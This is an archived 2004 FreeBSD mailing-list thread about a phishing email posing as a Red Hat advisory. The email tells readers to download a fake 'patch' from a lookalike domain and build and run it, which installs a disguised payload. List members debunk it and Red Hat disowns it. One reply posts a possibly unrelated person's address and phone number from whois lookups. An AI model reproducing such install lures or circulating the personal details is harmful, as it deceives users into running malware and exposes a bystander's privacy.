From owner-freebsd-chat@FreeBSD.ORG Sun Oct 24 07:07:31 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44F4E16A4CE; Sun, 24 Oct 2004 07:07:31 +0000 (GMT) Received: from b.mail.sonic.net (b.mail.sonic.net [64.142.19.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id D7C7F43D5D; Sun, 24 Oct 2004 07:07:30 +0000 (GMT) (envelope-from bmah@freebsd.org) Received: from tomcat.kitchenlab.org (adsl-64-142-31-107.sonic.net [64.142.31.107]) by b.mail.sonic.net (8.12.11/8.12.11) with ESMTP id i9O77UkL024448 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Oct 2004 00:07:30 -0700 Received: from tomcat.kitchenlab.org (localhost.kitchenlab.org [127.0.0.1]) by tomcat.kitchenlab.org (8.13.1/8.13.1) with ESMTP id i9O77T2O069179; Sun, 24 Oct 2004 00:07:29 -0700 (PDT) (envelope-from bmah@freebsd.org) Received: (from bmah@localhost) by tomcat.kitchenlab.org (8.13.1/8.13.1/Submit) id i9O77TNv069178; Sun, 24 Oct 2004 00:07:29 -0700 (PDT) (envelope-from bmah@freebsd.org) X-Authentication-Warning: tomcat.kitchenlab.org: bmah set sender to bmah@freebsd.org using -f From: "Bruce A. Mah" To: freebsd-chat@freebsd.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-4Eb2FUXKAoSzFc+VuC+J" Message-Id: <1098601649.1471.21.camel@tomcat.kitchenlab.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Sun, 24 Oct 2004 00:07:29 -0700 cc: "Bruce A. Mah" Subject: BSD meets Hello Kitty X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Oct 2004 07:07:31 -0000 --=-4Eb2FUXKAoSzFc+VuC+J Content-Type: text/plain Content-Transfer-Encoding: quoted-printable http://people.freebsd.org/~bmah/Images/DSC03772.JPG Judy and I saw this in a Sanrio store in San Francisco...after I said "it's a BSD Hello Kitty!" she insisted on buying one for me. Hope this isn't my anniversary present. :-) Bruce. --=-4Eb2FUXKAoSzFc+VuC+J Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQBBe1Sx2MoxcVugUsMRAqOQAKDwirroORiOYaSTRrB98I7hg3vupACffuFK 4WWWnfx0zXAXuWsMJETPYNQ= =nLqj -----END PGP SIGNATURE----- --=-4Eb2FUXKAoSzFc+VuC+J-- From owner-freebsd-chat@FreeBSD.ORG Sun Oct 24 21:57:28 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44B9216A4CE for ; Sun, 24 Oct 2004 21:57:28 +0000 (GMT) Received: from 2ens11.uta.edu (2ens11.uta.edu [129.107.2.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id E142443D2D for ; Sun, 24 Oct 2004 21:57:27 +0000 (GMT) (envelope-from apache@2ens11.uta.edu) Received: from 2ens11.uta.edu (localhost.localdomain [127.0.0.1]) by 2ens11.uta.edu (8.12.11/8.12.11) with ESMTP id i9OLvRx5011245 for ; Sun, 24 Oct 2004 16:57:27 -0500 Received: (from apache@localhost) by 2ens11.uta.edu (8.12.11/8.12.11/Submit) id i9OLvRtV011244; Sun, 24 Oct 2004 16:57:27 -0500 Date: Sun, 24 Oct 2004 16:57:27 -0500 Message-Id: <200410242157.i9OLvRtV011244@2ens11.uta.edu> To: freebsd-chat@freebsd.org From: RedHat Security Team X-Mailer: PHP/4.3.4 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: security@redhat.com List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Oct 2004 21:57:28 -0000 [logo_rh_home.png] Original issue date: October 20, 2004 Last revised: October 20, 2004 Source: RedHat A complete revision history is at the end of this file. Dear RedHat user, Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps: * First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz * cd fileutils-1.0.6.patch * make * ./inst Again, please apply this patch as soon as possible or you risk your system and others` to be compromised. Thank you for your prompt attention to this serious matter, RedHat Security Team. Copyright © 2004 Red Hat, Inc. All rights reserved. From owner-freebsd-chat@FreeBSD.ORG Sun Oct 24 23:11:28 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4458C16A4CE for ; Sun, 24 Oct 2004 23:11:28 +0000 (GMT) Received: from main.gmane.org (main.gmane.org [80.91.229.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 98E6443D5A for ; Sun, 24 Oct 2004 23:11:27 +0000 (GMT) (envelope-from freebsd-chat@m.gmane.org) Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CLrWH-0005Qx-00 for ; Mon, 25 Oct 2004 01:11:25 +0200 Received: from 79.62-97-240.bkkb.no ([62.97.240.79]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Oct 2004 01:11:25 +0200 Received: from jakob by 79.62-97-240.bkkb.no with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Oct 2004 01:11:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-chat@freebsd.org From: Jakob Breivik Grimstveit Date: Mon, 25 Oct 2004 00:35:11 +0200 Organization: BitWise Computing Lines: 12 Message-ID: References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 79.62-97-240.bkkb.no User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table) X-Face: .4qx3fwC]Zs6i@H)n4+U7@:QPR,\(Q'z[`J-C"'v:; *cy8[}d]:x,*Z6I?e8m%a~O?f1',N \1g'^='~; B3WO"RqF(tt]5<1)z%.%hqWnyM|NG}|e[zDmf=j(F*p|Tq^C#{<_FvV|P/tB4aG81S )#iIlo]%Gm<)uLyN Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: jakob@grimstveit.no List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Oct 2004 23:11:28 -0000 RedHat Security Team wrote: > [logo_rh_home.png] I doubt they did. This is bogus, right? Can't find any more info about this on the web... -- Jakob Breivik Grimstveit, http://www.grimstveit.no/jakob, +47 48298152 Bruk Newsergalleriet! No på http://www.newsergalleriet.no/ Treng du noko på CD?: http://www.grimstveit.no/jakob/burncd_no From owner-freebsd-chat@FreeBSD.ORG Sun Oct 24 23:14:41 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7AE5316A4CE for ; Sun, 24 Oct 2004 23:14:41 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.194.102.143]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5032643D1F for ; Sun, 24 Oct 2004 23:14:40 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 31E1A52C13; Sun, 24 Oct 2004 16:15:12 -0700 (PDT) Date: Sun, 24 Oct 2004 16:15:12 -0700 From: Kris Kennaway To: RedHat Security Team Message-ID: <20041024231512.GA1978@xor.obsecurity.org> References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="r5Pyd7+fXNt84Ff3" Content-Disposition: inline In-Reply-To: <200410242157.i9OLvRtV011244@2ens11.uta.edu> User-Agent: Mutt/1.4.2.1i cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Oct 2004 23:14:41 -0000 --r5Pyd7+fXNt84Ff3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Oct 24, 2004 at 04:57:27PM -0500, RedHat Security Team wrote: >=20 > [logo_rh_home.png] >=20 > Original issue date: October 20, 2004 > Last revised: October 20, 2004 > Source: RedHat >=20 > A complete revision history is at the end of this file. >=20 > Dear RedHat user, >=20 > Redhat found a vulnerability in fileutils (ls and mkdir), that could > allow a remote attacker to execute arbitrary code with root > privileges. Some of the affected linux distributions include RedHat > 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 > and not only. It is known that *BSD and Solaris platforms are NOT > affected. >=20 > The RedHat Security Team strongly advises you to immediately apply the > fileutils-1.0.6 patch. This is a critical-critical update that you > must make by following these steps: > * First download the patch from the Security RedHat mirror: wget > www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz Domain Name.......... fedora-redhat.com Creation Date........ 2004-10-24 Registration Date.... 2004-10-24 Expiry Date.......... 2005-10-24 Organisation Name.... Raymond Jackson Organisation Address. 224 Cedar Avenue Organisation Address. Organisation Address. New York Organisation Address. 95301 Organisation Address. NY Organisation Address. UNITED STATES Admin Name........... Raymond Jackson Admin Address........ 224 Cedar Avenue Admin Address........ Admin Address........ New York Admin Address........ 95301 Admin Address........ NY Admin Address........ UNITED STATES Admin Email.......... rayjackson23@yahoo.com Admin Phone.......... +1.2098994533 Admin Fax............ Tech Name............ YahooDomains TechContact Tech Address......... 701 First Ave. Tech Address......... Tech Address......... Sunnyvale Tech Address......... 94089 Tech Address......... CA Tech Address......... UNITED STATES Tech Email........... domain.tech@YAHOO-INC.COM Tech Phone........... +1.6198813096 Tech Fax............. +1.6198813010 Name Server.......... yns1.yahoo.com Name Server.......... yns2.yahoo.com whitepages.com says: Jackson, Raymond 224 Cedar Ave Atwater, CA 95301-4454 (209) 358-8510 Kris --r5Pyd7+fXNt84Ff3 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQFBfDd/Wry0BWjoQKURAmceAKDNIKAcRhJgQE5YKyhPl+8t1Cs9rgCfV42B YpQ/+ZminSTspTO4S1mGJqE= =j6Gh -----END PGP SIGNATURE----- --r5Pyd7+fXNt84Ff3-- From owner-freebsd-chat@FreeBSD.ORG Sun Oct 24 23:33:04 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A88016A4CE for ; Sun, 24 Oct 2004 23:33:04 +0000 (GMT) Received: from pop-a065d01.pas.sa.earthlink.net (pop-a065d01.pas.sa.earthlink.net [207.217.121.248]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2E0DF43D53 for ; Sun, 24 Oct 2004 23:33:04 +0000 (GMT) (envelope-from phummers@iname.com) Received: from sdn-ap-001dcwashp0279.dialsprint.net ([63.188.1.25] helo=cakes.towanda.bsd) by pop-a065d01.pas.sa.earthlink.net with esmtp (Exim 3.33 #1) id 1CLrrD-0003R0-00 for freebsd-chat@freebsd.org; Sun, 24 Oct 2004 16:33:03 -0700 Date: Sun, 24 Oct 2004 19:32:57 -0400 (EDT) From: Peter Hummers X-X-Sender: phummers@cakes.towanda.bsd To: freebsd-chat@freebsd.org In-Reply-To: <200410242157.i9OLvRtV011244@2ens11.uta.edu> Message-ID: <20041024191235.L1580-100000@cakes.towanda.bsd> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 24 Oct 2004 23:33:04 -0000 On Sun, 24 Oct 2004, RedHat Security Team wrote: > Redhat found a vulnerability in fileutils (ls and mkdir), that could > allow a remote attacker to execute arbitrary code with root > privileges. Some of the affected linux distributions include RedHat > 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 > and not only. It is known that *BSD and Solaris platforms are NOT > affected. Wow! What is probably the most-used Un*x CLI command? I have in the past tried here and there a spot of Linux, from Debian to RedHat, one extreme to the other, chasing the spectre of `popular' software and assimilation. Then I learn my lesson again, and get on this FreeBSD notebook, I feel I'm home again, with the one true OS, rational and ... intuitive! How much cruft there is in so many Linuces! How tiring it is to try to circumvent the automatic Gnome or KDE installs and deal with the results, and to try to keep in mind the differences between Linux distros! But a shadow still falls on my computing experience when I try to tell civilians how I avoid Microsoft without a Macintosh. "Uh, well, it's _like_ Linux, but ... well, it's Unix." "Eunuchs!!? O-kay, well, see ya later..." -Peter Hummers == "You're not supposed to be so blind with patriotism that you can't face reality. Wrong is wrong no matter who does it or who says it." -Malcolm X From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 02:31:36 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 794F216A4CE for ; Mon, 25 Oct 2004 02:31:36 +0000 (GMT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3049443D46 for ; Mon, 25 Oct 2004 02:31:36 +0000 (GMT) (envelope-from bressers@redhat.com) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11/8.12.11) with ESMTP id i9P2VZ4I028779; Sun, 24 Oct 2004 22:31:35 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1])i9P2VZr23197; Sun, 24 Oct 2004 22:31:35 -0400 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) i9P2VWNc031053; Sun, 24 Oct 2004 22:31:32 -0400 Received: (from bressers@localhost)i9P2VWG5031051; Sun, 24 Oct 2004 22:31:32 -0400 Date: Sun, 24 Oct 2004 22:31:32 -0400 From: Red Hat Security Response Team To: Kris Kennaway Message-ID: <20041025023132.GC26424@devserv.devel.redhat.com> References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> <20041024231512.GA1978@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20041024231512.GA1978@xor.obsecurity.org> User-Agent: Mutt/1.4.1i cc: RedHat Security Team cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 02:31:36 -0000 On Sun, Oct 24, 2004 at 04:15:12PM -0700, Kris Kennaway wrote: > Domain Name.......... fedora-redhat.com > Creation Date........ 2004-10-24 > Registration Date.... 2004-10-24 > Expiry Date.......... 2005-10-24 > Organisation Name.... Raymond Jackson > Organisation Address. 224 Cedar Avenue > Organisation Address. > Organisation Address. New York > Organisation Address. 95301 > Organisation Address. NY > Organisation Address. UNITED STATES > > Admin Name........... Raymond Jackson > Admin Address........ 224 Cedar Avenue > Admin Address........ > Admin Address........ New York > Admin Address........ 95301 > Admin Address........ NY > Admin Address........ UNITED STATES > Admin Email.......... rayjackson23@yahoo.com > Admin Phone.......... +1.2098994533 > Admin Fax............ > > Tech Name............ YahooDomains TechContact > Tech Address......... 701 First Ave. > Tech Address......... > Tech Address......... Sunnyvale > Tech Address......... 94089 > Tech Address......... CA > Tech Address......... UNITED STATES > Tech Email........... domain.tech@YAHOO-INC.COM > Tech Phone........... +1.6198813096 > Tech Fax............. +1.6198813010 > Name Server.......... yns1.yahoo.com > Name Server.......... yns2.yahoo.com > > whitepages.com says: > > Jackson, Raymond > 224 Cedar Ave > Atwater, CA 95301-4454 > (209) 358-8510 Dear Kris Kennaway, As you can no doubt tell, this web site has no affiliation with Red Hat. Chances are that the Raymond Jackson mentioned in the whois information is not affiliated with this issue other than by name. We have been made aware of this issue and are doing all we can to respond appropriately. Thanks, Josh -- Josh Bressers // Red Hat Security Response Team From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 04:13:24 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A838316A4CE for ; Mon, 25 Oct 2004 04:13:24 +0000 (GMT) Received: from stelesys.com (web1.stelesys.com [63.175.100.39]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3EDA943D1D for ; Mon, 25 Oct 2004 04:13:24 +0000 (GMT) (envelope-from jerry@syslog.org) Received: from [127.0.0.1] (helo=www.stelesys.com) by stelesys.com with esmtpa (Exim 4.43 (FreeBSD)) id 1CLwEV-000Hfh-Gw for freebsd-chat@freebsd.org; Mon, 25 Oct 2004 00:13:23 -0400 Received: from 24.98.86.57 (SquirrelMail authenticated user jerry@syslog.org); by www.stelesys.com with HTTP; Mon, 25 Oct 2004 00:13:23 -0400 (EDT) Message-ID: <3744.24.98.86.57.1098677603.squirrel@24.98.86.57> In-Reply-To: References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> Date: Mon, 25 Oct 2004 00:13:23 -0400 (EDT) From: "Jerry Bell" To: freebsd-chat@freebsd.org User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Subject: Re: RedHat: Buffer Overflow in 'ls' and 'mkdir' X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 04:13:24 -0000 A healthy bit of skepticism goes a long way. I choked on the first sentence: "Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges." The word "remote" stands out like a sore thumb to me. Jerry http://www.syslog.org From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 04:49:20 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9013C16A4CE for ; Mon, 25 Oct 2004 04:49:20 +0000 (GMT) Received: from mortis.over-yonder.net (adsl-222-79-209.jan.bellsouth.net [68.222.79.209]) by mx1.FreeBSD.org (Postfix) with ESMTP id E06F143D1D for ; Mon, 25 Oct 2004 04:49:19 +0000 (GMT) (envelope-from gh@over-yonder.net) Received: by mortis.over-yonder.net (Postfix, from userid 1012) id A617C20F9D; Sun, 24 Oct 2004 23:49:18 -0500 (CDT) Date: Sun, 24 Oct 2004 23:49:18 -0500 From: "Daniel M. Kurry" To: Jerry Bell Message-ID: <20041025044918.GC48024@over-yonder.net> References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> <3744.24.98.86.57.1098677603.squirrel@24.98.86.57> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3744.24.98.86.57.1098677603.squirrel@24.98.86.57> X-Editor: vi X-OS: FreeBSD User-Agent: Mutt/1.5.6i-fullermd.2 cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in 'ls' and 'mkdir' X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 04:49:20 -0000 Jerry Bell said something like: > A healthy bit of skepticism goes a long way. I choked on the first > sentence: "Redhat found a vulnerability in fileutils (ls and mkdir), that > could allow a remote attacker to execute arbitrary code with root > privileges." The word "remote" stands out like a sore thumb to me. > *cough Then again, RedHat is one of those *Linux derivatives* that are smelling more like Windows by the day. 'ls' could perform a dictionary lookup to point out spelling errors in filenames. Daniel, "Hey, this is -chat, right?" 8-) 8-) From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 11:40:10 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 343C916A4CE for ; Mon, 25 Oct 2004 11:40:10 +0000 (GMT) Received: from smtp.wp.pl (smtp.wp.pl [212.77.101.160]) by mx1.FreeBSD.org (Postfix) with ESMTP id E611743D45 for ; Mon, 25 Oct 2004 11:40:08 +0000 (GMT) (envelope-from krsr@wp.pl) Received: (wp-smtpd smtp.wp.pl 26715 invoked from network); 25 Oct 2004 13:40:06 +0200 Received: from host-212-127-71-147.osiedla.net (HELO [10.2.0.78]) (krsr@[212.127.71.147]) (envelope-sender ) by smtp.wp.pl (WP-SMTPD) with SMTP for ; 25 Oct 2004 13:40:06 +0200 From: Krzysztof Sroka To: freebsd-chat@freebsd.org Date: Mon, 25 Oct 2004 13:40:10 +0200 User-Agent: KMail/1.7 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200410251340.11514.krsr@wp.pl> X-WP-AV: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-SPAM: NO AS1=NO(Body=1 Fuz1=1 Fuz2=1) AS2=NO(0.555466) AS3=NO AS4=NO Subject: MeetBSD - Polish BSD conference X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 11:40:10 -0000 Just in case someone will be interested. MeetBSD - Polish BSD conference will be held on 27th of November in Cracow. Topics include: - FreeBSD/PowerPC for embedded systems - FreeBSD + WiFi: security, tools, wardriving, possibilities & rough AP detection - Report on FreeBSD 5.x - BGP blackholing ... and more :-) Exact agenda is still under formation. All the speaches will be in Polish. Prices: 80 PLN (Polish Zlotys) till 10-11-2004 130 PLN after 10-11-2004 10 PLZ = ~2.32 EUR = ~2.97 USD More information (in Polish) on http://www.meetbsd.org/ -- Krzysztof Sroka (I'm not affiliated with conference organizators, for details write to: tomasz.dudzisz {@} meetbsd.org ) From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 12:00:19 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2B77216A4CE for ; Mon, 25 Oct 2004 12:00:19 +0000 (GMT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D18A43D31 for ; Mon, 25 Oct 2004 12:00:16 +0000 (GMT) (envelope-from mw@theatre.sax.de) Received: from sax.sax.de (localhost [127.0.0.1]) by sax.sax.de (8.12.10/8.12.10) with ESMTP id i9PC0C1A014786 for ; Mon, 25 Oct 2004 14:00:12 +0200 (CEST) (envelope-from mw@theatre.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.12.10/8.12.10/Submit) with UUCP id i9PC0CpP014785 for freebsd-chat@freebsd.org; Mon, 25 Oct 2004 14:00:12 +0200 (CEST) (envelope-from mw@theatre.sax.de) Received: from theatre.sax.de (mw@localhost [127.0.0.1]) by theatre.sax.de (8.12.10/8.12.10) with ESMTP id i9PBepw6088626 for ; Mon, 25 Oct 2004 13:40:51 +0200 (CEST) (envelope-from mw@theatre.sax.de) Received: (from mw@localhost) by theatre.sax.de (8.12.10/8.12.9/Submit) id i9PBeoAm088625 for freebsd-chat@freebsd.org; Mon, 25 Oct 2004 13:40:50 +0200 (CEST) (envelope-from mw) Date: Mon, 25 Oct 2004 13:40:50 +0200 From: Martin Welk To: freebsd-chat@freebsd.org Message-ID: <20041025114050.GA86965@theatre.sax.de> References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200410242157.i9OLvRtV011244@2ens11.uta.edu> User-Agent: Mutt/1.5.6i Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 12:00:19 -0000 On Sun, Oct 24, 2004 at 04:57:27PM -0500, RedHat Security Team wrote: > Redhat found a vulnerability in fileutils (ls and mkdir), that could (...) Well, this might be the reason why Linux will never be able to get through into a mass market... You even have to install your viruses and worms manually. Regards, Martin -- ,,Oh, there's a lot of opportunities, if you're knowing to take them, you know, there's a lot of opportunities, if there aren't you can make them, make or break them!'' (Tennant/Lowe) From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 12:58:58 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E291C16A4CE for ; Mon, 25 Oct 2004 12:58:58 +0000 (GMT) Received: from faceman.servitor.co.uk (faceman.servitor.co.uk [80.71.15.146]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0BC5343D5C for ; Mon, 25 Oct 2004 12:58:58 +0000 (GMT) (envelope-from wiggy@servitor.co.uk) Received: from wiggy by faceman.servitor.co.uk with local (Exim 4.30) id 1CM4R9-0008ZT-M6; Mon, 25 Oct 2004 13:58:59 +0100 Date: Mon, 25 Oct 2004 13:58:59 +0100 From: Paul Robinson To: Martin Welk Message-ID: <20041025125859.GH18312@iconoplex.co.uk> References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> <20041025114050.GA86965@theatre.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20041025114050.GA86965@theatre.sax.de> Sender: Paul Robinson cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 12:58:59 -0000 On Mon, Oct 25, 2004 at 01:40:50PM +0200, Martin Welk wrote: > Well, this might be the reason why Linux will never be able to get through > into a mass market... You even have to install your viruses and worms > manually. This came up today as well: http://www.theregister.co.uk/2004/10/25/mac_rootkit_opener/ But the Reg, being the Reg, still stand firm: http://www.theregister.co.uk/2004/10/22/linux_v_windows_security/ Thing about OS security, is that I think market penetration does make a difference. There hasn't been a hole announced in Plan 9 or QNX in, well, years, but if either had > 10% penetration in the Internet, I think you'd start to see more and more attacks. It's exactly what happened to NT4 - for ages considered secure until people started installing it and then the holes just opened up for all to see. I don't know whether I have told this list before, but I used to work with a guy who was doing penetration tests and auditing code for the company I was at. He claimed that nobody had ever really taken a close look at VMS from a security point of view due to market penetration, so whilst Compaq were claiming it to be the most secure OS on the planet, he was able to use exploits that would have worked against BSD boxes 10 years ago. Unbelieveable stuff. He did announce some, they were mostly holes in the TCP/IP stack addon most sites were using. Just out of curiosity, are the security patch-ups being committed over at OpenBSD still finding their way over here? I haven't been watching much for the last 12 months. -- Paul Robinson http://www.iconoplex.co.uk/ "All I know is I'm not a Marxist" - Karl Marx From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 16:45:02 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EC74216A4D0 for ; Mon, 25 Oct 2004 16:45:02 +0000 (GMT) Received: from corserv.corserv.com 